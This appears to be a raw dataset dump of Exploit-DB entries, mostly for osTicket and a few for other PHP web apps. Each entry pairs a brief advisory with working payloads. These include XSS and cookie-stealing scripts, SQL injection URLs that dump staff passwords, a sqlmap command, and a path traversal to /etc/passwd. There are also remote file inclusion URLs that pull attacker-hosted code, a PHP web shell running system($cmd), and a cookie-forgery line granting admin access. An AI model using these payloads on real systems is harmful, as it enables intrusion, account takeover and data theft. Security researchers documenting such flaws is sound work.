deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38162
Description: osTicket - 'tickets.php?status' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-01-02
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/57111/info
 
osTicket is prone to multiple input-validation vulnerabilities including:
 
1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities
 
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
 
osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.

http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22
Exploit-DB #42660
Description: osTicket 1.10 - SQL Injection (PoC)
Type: webapps
Platform: php
Date: 2017-09-12
Author: Mehmet Ince

Exploit:
1. ADVISORY INFORMATION
========================================
Title: osTicket v1.10 Unauthenticated SQL Injection
Application: osTicket
Bugs:  SQL Injection
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= v1.10
Technology: PHP
Vendor URL: http://osticket.com/
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 12 Sep 2017
Author: Mehmet Ince
Advisory:
https://pentest.blog/advisory-osticket-v1-10-unauthenticated-sql-injection/

2. CREDIT
========================================
This vulnerability was identified during penetration test
by Mehmet INCE from PRODAFT / INVICTUS

3. VERSIONS AFFECTED
========================================
osTicket < 1.10

5. Technical Details & POC
========================================
Please visit an advisory URL for technical details.

PoC code:
python sqlmap.py -u "
http://target/file.php?key[id%60%3D1*%23]=1&signature=1&expires=[PII_REDACTED]" --dbms MySQL

6. RISK
========================================
The vulnerability allows remote attackers to execute a sql query on
database system.

7. REFERENCES
========================================
https://pentest.blog/advisory-osticket-v1-10-unauthenticated-sql-injection/
Exploit-DB #47225
Description: osTicket 1.12 - Formula Injection
Type: webapps
Platform: php
Date: 2019-08-12
Author: Aishwarya Iyer

Exploit:
# Exploit Title: osTicket-v1.12 Formula Injection
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14749

1. Description


An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
CSV (aka Formula) injection exists in the export spreadsheets
functionality. These spreadsheets are generated dynamically from
unvalidated or unfiltered user input in the Name and Internal Notes fields
in the Users tab, and the Issue Summary field in the tickets tab. This
allows other agents to download data in a .csv file format or .xls file
format. This is used as input for spreadsheet applications such as Excel
and OpenOffice Calc, resulting in a situation where cells in the
spreadsheets can contain input from an untrusted source. As a result, the
end user who is accessing the exported spreadsheet can be affected.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14749

2. Proof of Concept

Steps to Reproduce:
- Login as an agent and under the "Users" section create a new user.
- Insert the crafted payload of Formula Injection into "Name" and "Internal
Notes" field.
- Login as another agent and under the Users tab, click on export and then
save the ".csv" file.
- It is observed that the payload gets executed in excel and this leads to
remote code execution.
- Not just an agent, even a non-agent user has the option to edit his name
where he can insert the malicious payload of Formula Injection.
- The application does not sanitize the inputs here due to which when the
agent clicks on export the payload gets executed.
-The same issue persisted in the "Issue Summary" field in the tickets tab.

3. Reference

https://github.com/osTicket/osTicket/commit/99818486c5b1d8aa445cee232825418d6834f249
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7

4. Solution

The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.
Exploit-DB #47226
Description: osTicket 1.12 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-12
Author: Aishwarya Iyer

Exploit:
# Exploit Title: osTicket-v1.12 Stored XSS
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14750

1. Description

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
Stored XSS exists in setup/install.php. It was observed that no input
sanitization was provided in the firstname and lastname fields of the
application. The insertion of malicious queries in those fields leads to
the execution of those queries. This can further lead to cookie stealing or
other malicious actions.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14750

2. Proof of Concept

Steps to Reproduce:
- While setting up the osTicket application in the setup/install.php page
insert the XSS payload into the first name and last name field.
- After filling in all the other details and clicking on 'continue', it is
observed that there is no validation for the first name and last name field
and the malicious payload is stored and a new agent is created.
- Login as that agent and navigate to "agents" tab where we will find the
inserted payload in the firstname and Lastname field.
- Click on the firstname value and see the payload gets executed

3. Reference

https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7

4. Solution

The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.
Exploit-DB #47224
Description: osTicket 1.12 - Persistent Cross-Site Scripting via File Upload
Type: webapps
Platform: php
Date: 2019-08-12
Author: Aishwarya Iyer

Exploit:
# Exploit Title: osTicket-v1.12 Stored XSS via File Upload
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14748

1. Description

An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
The Ticket creation form allows users to upload files along with queries.
It was found that the file-upload functionality has fewer (or no)
mitigations implemented for file content checks; also, the output is not
handled properly, causing persistent XSS that leads to cookie stealing or
malicious actions. For
example, a non-agent user can upload a .html file, and Content-Disposition
will be set to inline instead of an attachment.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14748

2. Proof of Concept

Steps to Reproduce:
- Login to the portal as a non agent user:
- Open a New Ticket
- Select  any option from the dropdown menu present under "Help Topic"
- Text box appears, enter details accordingly
- In the section "drop files here or choose them", we would be putting our
payload
- Open any text editor  and name the file as test(say) with .html extension.
- Within the file, enter the payload
<script>alert(document.cookie);</script>
- Save the test.html file.
- Now click on drop files here option and enter the test.html file.
- Click on "create ticket" option
- Login with another user(agent)
- Now within the User Directory, go to the user under which the payload has
been put.
- The ticket raised with the name mentioned will be shown under the subject
category.
- Scroll down and the file uploaded will be present below.
- Click on the file, and the payload gets executed which is persistent

3. Reference

https://github.com/osTicket/osTicket/commit/33ed106b1602f559a660a69f931a9d873685d1ba
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7

4. Solution

The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.
Exploit-DB #48413
Description: osTicket 1.14.1 - Persistent Authenticated Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-04
Author: Mehmet Kelepçe

Exploit:
# Title: osTicket 1.14.1 - Persistent Authenticated Cross-Site Scripting
# Author: Mehmet Kelepce / Gais Cyber Security
# Date : 2020-03-24
# Source Link: https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884
# Vendor: http://osticket.com
# Remotely Exploitable: Yes
# Dynamic Coding Language: PHP
# CVSSv3 Base Score: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L)

## this vulnerability was found by examining the source code.

PoC : Ticket SLA Plan Name - HTTP POST REQUEST
##########################################################
POST /upload/scp/slas.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/upload/scp/slas.php?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Connection: close
Cookie: cookie=3333; OSTSESSID=684d6hn7dfk869kupbhc9hq2qv
Upgrade-Insecure-Requests: 1

submit=Save+Changes&__CSRFToken__=6174a3343a6277b2e5faae240188d54624a756d7&do=update&a=&id=1&name=%3Csvg+onload%3Dconfirm%28document.cookie%29%3B%3E&isactive=1&grace_period=48&schedule_id=0&notes=

Vulnerable parameter: name
Parameter file: /scp/slass.php

I used the name of the SLA for any ticket.

## Risk : cookie information of the target user is obtained.
Exploit-DB #49441
Description: osTicket 1.14.2 - SSRF
Type: webapps
Platform: php
Date: 2021-01-19
Author: Talat Mehmood

Exploit:
# Exploit Title: osTicket 1.14.2 - SSRF
# Date: 18-01-2021
# Exploit Author: Talat Mehmood
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Version: <1.14.3 
# Tested on: Linux
# CVE : CVE-2020-24881

osTicket before 1.14.3 suffers from Server Side Request Forgery [SSRF]. HTML page is rendered on backend server on calling "Print" ticket functionality.

Below are the steps to reproduce this vulnerability:

1. Create a new ticket
2. Select "HTML Format" format.
3. Add an image tag with your payload in src attribute i.e. "<img src=https://mymaliciouswebsite.com">
4. After submitting this comment, print this ticket.
5. You'll receive a hit on your malicious website from the internal server on which osTicket is deployed.

For more details, read my following blog:

https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0
https://nvd.nist.gov/vuln/detail/CVE-2020-24881
Exploit-DB #25926
Description: osTicket 1.2/1.3 - 'view.php?inc' Arbitrary Local File Inclusion
Type: webapps
Platform: php
Date: 2005-06-30
Author: edisan & foster

Exploit:
source: https://www.securityfocus.com/bid/14127/info

osTicket is affected by multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

The following specific issues were identified:

- An SQL-injection vulnerability. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

- A local file-include vulnerability. An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

osTicket 1.3.1 beta and prior versions are affected. 

http://www.example.com/osticket/view.php?inc=x
Exploit-DB #25590
Description: osTicket 1.2/1.3 - Multiple Input Validation / Remote Code Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-03
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13478/info

osTicket is affected by multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Reportedly the application permits the inclusion of remote code that could be run under the permissions of the affected Web server.

The application is vulnerable to multiple cross-site scripting vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials; other attacks are also possible.

If the file upload feature is enabled then a directory traversal vulnerability is possible. This vulnerability could be exploited to retrieve sensitive or privileged information normally accessible to the Web server.

The application is prone to HTML injection vulnerabilities. Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The application is also prone to multiple SQL injection vulnerabilities. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/view.php?e=test@test.com&t=480826[XSS]
http://www.example.com/include/header.php?osticket_title=%3C/title%3E[XSS]
http://www.example.com/include/admin_login.php?em=asdf[XSS]
http://www.example.com/include/user_login.php?e=asdf[XSS]
http://www.example.com/include/open_submit.php?err=[XSS]

http://www.example.com/admin.php?a=view&id=-99%20UNION%20SELECT%20username,password,0,0,0,0,0,0,0,0,0%20FROM%20ticket_reps%20WHERE%201/*
http://www.example.com/admin.php?a=view&id=-99%20UNION%20SELECT%20username,password,'your@email.org',0,0,0,0,0,0,0,0%20FROM%20ticket_reps%20WHERE%201/*
http://www.example.com/view.php?s=advanced&query=&cat=-99%20UNION%20SELECT%2031337,0,0,0,password%20FROM%20ticket_reps%20WHERE%20ID=5/*&status=&sort=ID&way=ASC&per=5&search_submit=Search

http://www.example.com/include/main.php?config[search_disp]=true&include_dir=http://www.example.com

http://www.example.com/attachments.php?file=../../../../../../.. /etc/passwd
Exploit-DB #29298
Description: osTicket 1.2/1.3 Support Cards - 'view.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-19
Author: Hacker CooL

Exploit:
source: https://www.securityfocus.com/bid/21669/info

osTicket Support Cards is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/calendar/export_handler.php?format=<body+onload=alert(1111)>&id=200 http://www.example.com/calendar/export_handler.php?format=<img+src=http://www.example2.com/img/logo.gif+onload=alert(1111)>&id=200
Exploit-DB #9032
Description: osTicket 1.6 RC4 - Admin Login Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-29
Author: Adam Baldwin

Exploit:
nGenuity Information Services - Security Advisory

   Advisory ID: NGENUITY-2009-007 osTicket Admin Login Blind SQL Injection
   Application: osTicket v1.6 RC4
        Vendor: osTicket
Vendor website: http://www.osticket.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)

  I. BACKGROUND
    "osTicket is a widely-used open source support ticket system. It seamlessly
    integrates inquiries created via email and web-based forms into a simple
    easy to use multi-user web interface. Easily manage, organize and archive
    all your support requests and responses in one place while providing your
    clients with accountability and responsiveness they deserve." [1]

  II. DETAILS
    osTicket prior to v1.6 RC5 fails to validate / escape staff usernames which
    can be abused to execute a blind sql injection attack by an unauthenticated
    attacker.

    The vendor has provided a new release v1.6 RC5 which addresses this vulnerability.
    They have also provided patching instructions [2] should you be unable to perform
    a full upgrade at this time.

    One sample attack string might look similar to the following:
    '+(SELECT IF(SUBSTRING(passwd,1,1)=CHAR(48),BENCHMARK(1000000,SHA1(1)),0) passwd
    FROM ost_staff where staff_id=1) and '1'='1

  III. REFERENCES
    [1] - http://www.osticket.com
    [2] - http://osticket.com/forums/project.php?issueid=118

  IV. VENDOR COMMUNICATION
    3.25.2009 - Vulnerability Discovery
    3.25.2009 - Vendor notification & initial vendor response
    6.26.2009 - Vendor releases fix in osTicket v1.6 RC5 

# milw0rm.com [2009-06-29]
Exploit-DB #27928
Description: osTicket 1.x - 'Open_form.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-31
Author: Sweet

Exploit:
source: https://www.securityfocus.com/bid/18190/info

osTicket is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/support/include/open_form.php?include_dir=http://ursite/evilscript.txt?cmd=pwd
Exploit-DB #24225
Description: osTicket STS 1.2 - Attachment Remote Command Execution
Type: webapps
Platform: php
Date: 2004-06-21
Author: Guy Pearce

Exploit:
source: https://www.securityfocus.com/bid/10586/info

osTicket is reported prone to a remote command execution vulnerability. The issue is reported to present itself because attachments submitted as a part of a support ticket request are stored with a predictable name in a known web accessible location.

<?PHP
echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>";
if (!$cmd)die;
system($cmd);
?>
Exploit-DB #27693
Description: otalCalendar - 'about.php?inc_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-19
Author: VietMafia

Exploit:
source: https://www.securityfocus.com/bid/17618/info

TotalCalendar is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/about.php?inc_dir=http://www.example2.com/
Exploit-DB #31775
Description: OtherLogic - 'vocourse.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-10
Author: Breeeeh

Exploit:
source: https://www.securityfocus.com/bid/29139/info

OtherLogic is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/vocourse.php?id=[SQL Injection]
Exploit-DB #7077
Description: OTManager CMS 2.4 - 'Tipo' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-10
Author: Colt7r

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

  OTManager 2.4 Remote File Inclusion (RFI) Vulnerability

  - Security flaw discovered by Colt7r
  - CONTACT: colt7r |@| bsdmail.org

  - Affected Software: OTManager 2.4
  - Risk: HIGH
  - Exploit: http://host/Admin/ADM_Pagina.php?Tipo=[EVIL CODE]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-10]
Exploit-DB #5959
Description: OTManager CMS 2.4 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-06-27
Author: Virangar Security

Exploit:
  ###################################################################################
  #                                                                                 #
  #      ...:::::OTManager CMS v2.4 Insecure Cookie Handling Vulnerability ::::.... #           
  ###################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
DESCRIPTION:
OTManager CMS, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
vuln code in /Admin/index.php:

if ($_COOKIE['ADMIN_Hora'] != '' and $_COOKIE['ADMIN_Logado'] == 'SIM' and $_COOKIE['ADMIN_Nome'] != ''){
header('Location: ADM_Pagina.php'); // redirect to admin area

---
exploit:
javascript:document.cookie = "ADMIN_Hora=1; path=/"; document.cookie = "ADMIN_Logado=SIM; path=/"; document.cookie = "ADMIN_Nome=1; path=/";
-----
now visit /Admin and  you can get admin access and manage the cms ;)
-------
young iranian h4ck3rz

# milw0rm.com [2008-06-27]